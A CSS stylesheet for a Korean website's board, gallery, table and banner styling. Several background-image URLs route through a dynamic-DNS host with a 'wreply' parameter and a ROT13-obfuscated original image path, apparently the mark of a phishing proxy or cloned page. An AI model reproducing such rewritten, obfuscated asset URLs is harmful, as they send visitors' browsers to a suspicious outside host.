.ctt_img {text-align:center}

/* 검색결과 색상 */
.sch_word {color:#ff3061}

/* 자바스크립트 alert 대안 */
#validation_check {margin:100px auto;width:500px}
#validation_check h1 {margin-bottom:20px;font-size:1.3em}
#validation_check p {margin-bottom:20px;padding:30px 20px;border:1px solid #e9e9e9;background:#fff}

/* 사이드뷰 */
.sv_wrap {display:inline-block;position:relative;font-weight:normal}
.sv_wrap .sv {z-index:1000;display:none;margin:5px 0 0;border:1px solid #283646}
.sv_wrap .sv a {display:inline-block;margin:0;padding:3px;width:94px;border-bottom:1px solid #283646;background:#111;color:#fff !important}
.sv_wrap a:focus, .sv_wrap a:hover, .sv_wrap a:active {text-decoration:none}
.sv_on {display:block !important;position:absolute;top:10px;left:20px;width:auto;height:auto}
.sv_nojs .sv {display:block}

/* 페이징 */
.pg_wrap {clear:both;margin:0 0 20px;padding:20px 0 0;text-align:center}
.pg {}
.pg_page, .pg_current {display:inline-block;padding:1px 10px 2px 10px;height:25px;line-height:25px;color:#000;letter-spacing:0;line-height:25px;vertical-align:middle}
.pg a:focus, .pg a:hover {text-decoration:none}
.pg_page {background:#e4eaec;text-decoration:none;font-size:12px;}
.pg_start, .pg_prev {/* 이전 */}
.pg_end, .pg_next {/* 다음 */}
.pg_current {display:inline-block;margin:0 4px 0 0;background:#188d58;color:#fff;font-weight:normal}

/* Mobile화면으로 */
#device_change {display:block;/*margin:0.3em;*/font-weight:bold; padding:0.5em 0; /*border-radius:2em;*/background:#00844a;color:#fff;font-size:14px;text-decoration:none;text-align:center}


.sir_lbo_msg{clear:both;margin:0 0 10px;color:#484848;line-height:1.5em}
.sir_lbo_msg a{color:inherit;text-decoration:underline}
.sir_lbo_msg .msg00{text-align:center;padding:20px;/*background:#f7f7f7;*/font-size:2em; letter-spacing:-1px;font-weight:bold;    font-family: 나눔고딕 !important;}
.sir_lbo_msg .msg01{padding:20px;background:#f8e1eb;color:#b8064d}
.sir_lbo_msg .msg02{padding:20px;background:#e1f8f5;color:#0f8564}
.sir_lbo_msg .msg03{padding:20px;background:#eafaff;color:#0f4385}
.sir_lbo_msg .msg04{padding:20px;background:#f3efeb;color:#c96911}
.sir_lbo_msg .msg05{padding:20px;background:#3e4244;color:#FFFFFF}
.sir_lbo_msg .msg-center{text-align:center}
.sir_lbo_msg .msg-right{text-align:right}

.blind{visibility:hidden;overflow:hidden;position:absolute;top:0;left:0;width:1px;height:1px;font-size:0;line-height:0}
.cp_blind{visibility:hidden;overflow:hidden;width:0;height:0;margin:0;padding:0;border:0;font-size:0;line-height:0}
.skip{overflow:hidden;position:absolute;top:0;left:0;z-index:1000;width:1px;height:1px;margin:0 -1px -1px 0;padding:0;font-size:0;line-height:0}
.skip:hover,.skip:active,.skip:focus{display:block;width:942px;height:30px;margin:0 0 0 -1px;background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Svzt_fxvc.tvs) no-repeat;text-indent:-10000px}
.tl{text-align:left !important}
.tc{text-align:center !important}
.tr{text-align:right !important}
.vat{vertical-align:top}
.mb15 {margin-bottom:15px !important;}
.mb30 {margin-bottom:15px !important;}
.mt15 {margin-top:15px !important;}
.mt30 {margin-top:30px !important;}
/*대회안내 */
.board_list{}
.board_list li{position:relative;padding:0px 20px 20px 226px;min-height:165px;/*border-bottom:1px solid #c6c6c6*/}
.board_list .txt {font-size:16px; font-weight:bold;}
.board_list .img{border-top:1px solid #d1d1d1;position:absolute;left:0px;top:0px;width:193px;height:124px;margin-top:0 !important}
.board_list .title {padding-top:25px;display:inline-block;font-weight:bold; letter-spacing:0;}
.board_list .img{max-width:100%}
.board_list dl{position:relative;border-top:1px solid #d1d1d1;}
.board_list dt{font-weight:bold;font-size:14px;line-height:20px;letter-spacing:-0.05em;color:#222}
.board_list dt a{display:block;overflow:hidden;color:#222;white-space:nowrap;text-overflow:ellipsis}
.board_list dd{padding-top:23px;margin-top:4px;line-height:20px;letter-spacing:-0.05em;color:#555}
.board_list dd.ells{overflow:hidden;}
.board_list dd.ells p{padding-top:33px;line-height:20px}
.board_list dd.ells:before{content:"";float:left;width:5px;}
.board_list dd.ells > *:first-child{float:right;width:100%;margin-left:-5px}
.board_list dd.ells:after{
	box-sizing:content-box;
	-webkit-box-sizing:content-box;
	-moz-box-sizing:content-box;
	float:right;position:relative;
	top:-25px;left:100%;
	width:3em;margin-left:-3em;
	padding-right:5px;
	text-align:right;
	background:-webkit-gradient(linear, left top, right top, from(rgba(255, 255, 255, 0)), to(white), color-stop(50%, white));
	background:-moz-linear-gradient(to right, rgba(255, 255, 255, 0), white 50%, white);
	background:-o-linear-gradient(to right, rgba(255, 255, 255, 0), white 50%, white);
	background:-ms-linear-gradient(to right, rgba(255, 255, 255, 0), white 50%, white);
	background:linear-gradient(to right, rgba(255, 255, 255, 0), white 50%, white)
}
.board_list dd.file, .board_list dd.con_tit{position:absolute;margin:0;font-size:14px;text-decoration:none !important;height:auto}
.board_list dd.file{right:0;top:1px}
.board_list dd.file a{display:inline-block;padding-right:20px;color:#464e6b;text-decoration:underline;/*background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Serfbhepr%2Svzntrf%2Spbzzba%2Svpba%2Svpb_qbja_fz.cat) no-repeat right 4px*/}
.board_list dd.con_tit{left:4px;top:0px;color:#767676;letter-spacing:0}
.con_tit2{font-weight:bold;left:0px;top:25px;color:#000;letter-spacing:0;position:absolute;margin:0;font-size:13px;text-decoration:none !important;height:auto}
.ft_style_01 {font-weight:bold;color:#56ab40;letter-spacing:0;}
.board_list dd div p {font-size:13px;line-height:24px;color:#707070;letter-spacing:-0.06em;}
.board_list dd div p span.tit_num {font-weight:bold; color:#000; padding-right:15px;font-size:13px;}
.brt_none {border-top:none !important;}
.last {border-bottom:1px solid #d1d1d1;padding-bottom:23px;}
/*
.board_list li:hover, .board_list li:focus{background-color:#f2f3f6}
.board_list li:hover dt a, .board_list li:hover dd.ells p, .board_list li:focus dt a, .board_list li:focus dd.ells p{text-decoration:underline}*/

/*대회소개*/
/* Table */
.st_bl {font-weight:bold;color:#000;}
.responsive-table{overflow:hidden;border-top:2px solid #737373}
table.no_responsible{border-top:2px solid #464e6b}
.responsive-table.tp01{border-top:1px solid #c6c6c6}
.tbl_tp01{width:100%;table-layout:fixed;font-size:13px}
.tbl_tp01 thead th{padding-left:18px;padding-right:20px;line-height:20px}
.tbl_tp01 thead th,.tbl_tp01 tfoot td{font-size:14px;height:47px;font-weight:bold;letter-spacing:-0.05em;color:#585858;text-align:center;border-bottom:1px solid #c6c6c6;background-color:#f8f8f8}
.tbl_tp01 tbody th, .tbl_tp01 tbody td{font-size:14px;padding:10px 20px 10px 25px;color:#555;line-height:27px;letter-spacing:-0.07em;border-bottom:1px solid #c6c6c6}
.tbl_tp01 tbody th.bg_gray{background:#f8f8f8}
.al_c{text-align:center; color:#000;font-weight:bold;}
.tbl_tp01 thead th.bdr_none, .tbl_tp01 tbody th.bdr_none, .tbl_tp01 tbody td.bdr_none,.tbl_tp01 tfoot td.bdr_none{border-left:0}
.tbl_tp01 tbody td.bdb_none{border-bottom:0;padding:6px 10px 0 !important}
.tbl_tp01 tfoot td.fc_gray{color:#555}
.tbl_tp01.padding_less thead th,.tbl_tp01.padding_less tbody td{padding:6px 10px 10px}
.tbl_tp01 .part_number{color:#ea5d4b;text-decoration:underline}

.responsive-table{overflow:hidden;border-top:2px solid #737373}
table.no_responsible{border-top:2px solid #737373}
.tbl_tp02{width:100%;font-size:13px}
.tbl_tp02 tbody th, .tbl_tp02 tbody td{padding:10px 20px 10px;color:#555;line-height:27px;letter-spacing:-0.05em;text-align:left;border-bottom:1px solid #c6c6c6}
.tbl_tp02 tbody th{font-weight:bold;color:#000;background-color:#f0f0f0;font-size:14px;letter-spacing:-0.05em;} 
.tbl_tp02 tbody td{}
.tbl_tp02 tbody th.al_c, .tbl_tp02 tbody td.al_c{text-align:center}
.tbl_tp02 .con{min-height:100px;vertical-align:top}
.tbl_tp02.inst_tbl .mth{display:none;font-weight:bold;color:#484f68}

.inbox p em { font-weight: bold;}
.inbox ul  li {line-height:27px; font-size:14px; color:#707070; letter-spacing:-1px;}
.txt_point {color: #ea5d4b !important;}
.tit_02 {font-weight:bold; font-size:16px;color:#000;}
.ethics_decla{position:relative;margin-top:14px;}
.ethics_decla.compliance{padding:40px 50px}
.ethics_decla.bcp{padding:30px}
.ethics_decla .img{position:absolute;top:15px;left:320px}
.ethics_decla.material .img{left:226px}
.ethics_decla.envi .img{top:25px;margin-top:0;left:205px}
.ethics_decla.compliance .img{top:23px;left:335px}

.inbox.line + .inbox{padding-top:30px}
img.border{border:1px solid #ddd}
.hidstory_sec{position:relative;/*border-bottom:1px solid #ccc;*/padding:0px 0 12px}
.hidstory_sec em{position:absolute;left:0;top:0;;font-weight:bold;font-size:20px;line-height:45px;color:#000;}
.hidstory_sec em span{padding-top:15px;float:left;width:138px;border-top:1px solid #ccc;position:absolute;left:0;top:0;font-weight:bold;font-size:45px;letter-spacing:-0.075em;line-height:45px;color:#56ab40;font-family:NanumGothic-Bold;}
.hidstory_sec ul{padding-left:164px}
.hidstory_sec ul > li{font-size:12px;overflow:hidden;position:relative;font-weight:bold;font-size:14px;letter-spacing:-0.05em;min-height:30px;border-top:1px solid #ebebeb}
.hidstory_sec ul > li:first-child{border-top:0;font-size:13px;}
.hidstory_sec .month_tit {display:inline-block;float:left;padding-top:13px;margin-right:8px;font-weight:bold;font-size:14px;color:#000;}

.hidstory_sec ul > li a{display:block;position:absolute;left:0;top:0;padding:6px 0 10px;color:#555}
.hidstory_sec ul > li > ul.st_depth2 {border-top:1px solid #ccc;}
.hidstory_sec ul > li > ul{overflow:hidden;padding:10px 0 8px 0px}
.hidstory_sec ul > li > ul > li{float:left;width:170px;font-weight:normal;letter-spacing:-0.05em;border-top:0;min-height:0;font-size:13px;}
.hidstory_sec ul > li > ul > li.double{width:428px}
.hidstory_sec ul > li > ul > li a{position:static;padding:0;line-height:24px}
.st_depth1 {width:520px;}
.pt50 {padding-top:50px !important; display:inline-block;}

.cont_top {padding:40px 30px; border-top:1px solid #999999;  border-bottom:1px solid #999999;}
.cont_top dl dt {font-size:14px; color:#333; font-weight:bold;}
.cont_top dl dd {font-size:13px; color:#666; line-height:24px;}
.inbox {width:678px;}
.box_info{padding:13px 20px 13px; }
.box_info dt, .box_info dd{font-size:13px;line-height:24px;letter-spacing:-0.05em}
.box_info dt{font-weight:bold;color:#333}
.box_info dd{margin-top:6px;color:#555}s
.box_info dd span{font-weight:bold}
.box_info dd + dt{margin-top:13px;padding-top:13px;border-top:1px solid #ddd}
.box_info_wrap + .h3{margin-top:37px}

.txt_st1 {font-weight:bold; color:#666;}
.txt_st2 {font-weight:normal; color:#888;}

.btm_box {width:650px;padding:30px 20px 50px 20px; border:1px solid #e0e0e0; background:#fff url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Sogz_obk_ot.wct')no-repeat 0 bottom; overflow:hidden;}
.btm_box  td {text-align: left; vertical-align: top; font-size: 16px; font-weight: bold; padding: 6px 10px 0 10px;color: #333 !important;}
/* 갤러리 목록 */
#bo_gall h2 {margin:0;padding:0;width:1px;height:1px;font-size:0;line-height:0;overflow:hidden}
#gall_ul {margin:10px 0 0;padding:0;list-style:none;zoom:1}
#gall_ul:after {display:block;visibility:hidden;clear:both;content:""}
.gall_li {float:left;margin:0 10px 30px 0;    /* border: 1px solid #e0e0e0; */}

.gall_con {margin:0;padding:0;list-style:none}
 .gall_con li {margin-top:5px}
.gall_con .gall_subject {display:inline-block;width:10px;}
.gall_con li.txt_date {color:#9c9b9b;font-size:0.80em;line-height:11px; padding-top:10px;}
.pt10 {padding-top:10px !important;}

.gall_now .gall_text_href a {color:#ff3061}

.gall_href a:link,.gall_href a:focus, #bo_gall .gall_href a:hover {text-decoration:none}
.gall_href strong,.gall_href span {display:inline-block;background:#f7f7f7;text-align:center;line-height:10em}

.gall_text_href {/*width:200px !important;*/}
.gall_text_href a {font-weight:bold;}
.gall_text_href span {display:inline !important}
.gall_text_href img {margin:0 0 0 4px}

.gall_text_href_cont {margin:5px 0 !important;width:208px !important; font-size: 12px;color:#666666;}
.gall_text_href_cont a {}
.gall_text_href_cont span {display:inline !important}
.gall_text_href_cont img {margin:0 0 0 4px}
.br_line {padding:8px 5px 12px 10px;border-left: 1px solid #e0e0e0;border-right: 1px solid #e0e0e0;border-bottom: 1px solid #e0e0e0; }



.gall_ul {overflow:hidden;margin-bottom:10px;}
.gall_ul li {width:220px; height:289px; border:1px solid #e0e0e0;margin-left:12px;float:left;position:relative;background:#fff;}
.gall_ul li:first-child {margin-left:0}
.gall_ul li img {}
.gall_ul li .tit {font-size:15px;line-height:20px;font-weight:bold;color:#5e5e5e;position:absolute;left:20px;top:17px}
.gall_ul li .tag_box {position:absolute;left:18px;top:181px}
.gall_ul li .tag_box .tag {position:absolute; top:66px; left:0;width:28px;height:28px;}
.num {font-size:14px;font-weight:bold;position:absolute;left:34px;top:69px;letter-spacing: -1px;overflow: hidden; text-overflow: ellipsis;white-space: nowrap;}
.date {background:url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.uxghegyr.pbz%2Sgurzr%2Sghegyr2017%2Spff%2S..%2Svzt%2Svpa_pny.cat') no-repeat;padding-left:12px; line-height:9px;font-size:11px;position:absolute;left:0px;top:75px;letter-spacing: -1px;color:#9c9b9b;}
.gall_ul li .name {font-size:14px;font-weight:bold;position:absolute;left:11px;top:163px;}
.gall_ul li .explan {font-size:12px;line-height:16px;color:#666666;position:absolute;left:11px;top:189px;width:200px; border-bottom:1px solid #e0e0e0;padding-bottom:12px/* height:30px;letter-spacing: -1px;overflow: hidden; text-overflow: ellipsis;white-space: nowrap;*/}
.gall_ul li .over{display:none;position:absolute;top:0;left:0;width:221px;height:144px;background:#fff}
.gall_ul li .over img{border:0}
.gall_ul li .over .bg{position:absolute;bottom:0;left:0;width:100%;/*height:120px;*/height:100%;background:#005033;opacity:.7;filter:alpha(opacity=70)}

.gall_ul li .over .tag_box{position:relative;}
.gall_ul li .over .link_box{text-align:center;display:block;position:absolute;bottom:25px;left:0;width:100%;/*height:120px*//height:100%;}
.gall_ul li .over .link_box a{text-align:center;display:inline-block;width:170px;font-size:12px;font-weight:bold;line-height:29px;border:1px solid #000 ;text-align:center; color:#fff; background:#003220;opacity:.7;filter:alpha(opacity=70); border-radius:17px;}
.gall_ul li .over .link_box a:hover {text-align:center;display:inline-block;width:170px;font-size:12px;font-weight:bold;line-height:29px;border:1px solid #fff;text-align:center;color:#fff;}
.gall_ul li .over .name2{display:block;padding:25px 0 25px 21px;font-size:16px;color:#fff}

.evt_postscript .postscript_point_btn {position:absolute;left:531px;top:27px}
.evt_postscript .postscript_point_exp {font-size:11px;line-height:18px;color:#575757;position:absolute;left:37px;top:79px}
.evt_postscript span.ico{position:absolute;right:100px;top:35px;}
.star_box {text-align:center}

.bt_point {border-top:2px solid #109aa3}
.mb10 {margin-bottom: 10px !important;}

/*메인배너*/
#main_bn_box{width: 690px;border:1px solid #e8e8e8;margin-bottom:10px;}
#main_bn {position:relative;overflow:auto;width:100% !important; }
#main_bn .bn_ul{margin:0; padding:0}
#main_bn .bn_ul li{/*height:321px;*/float:left;list-style:none}
#main_bn li .bn_wr{width:700px; margin:0 auto;}
#main_bn .dots{position:absolute;bottom:10px;text-align:center;width:90%}
#main_bn .dots li{cursor: pointer;margin-right:10px;text-indent:-9999px;width:10px;height:10px;/*border-radius:50%;*/ background:#d9d9d9;overflow:hidden;display:inline-block;zoom:1; *display:inline /*IE7 HACK*/; _display:inline; /*IE6 HACK*/}
#main_bn .dots li.active{background:#41a527;}

.gnbWrap {position:absolute; top:50px; left:0; background:#005033; width:100%;}

#gnb_1dul li:nth-child(2) .gnbWrap li:first-child {padding-left:12px;}
#gnb_1dul li:nth-child(3) .gnbWrap li:first-child {padding-left:82px;}
#gnb_1dul li:nth-child(4) .gnbWrap li:first-child {padding-left:169px;}
#gnb_1dul li:nth-child(5) .gnbWrap li:first-child {padding-left:243px;}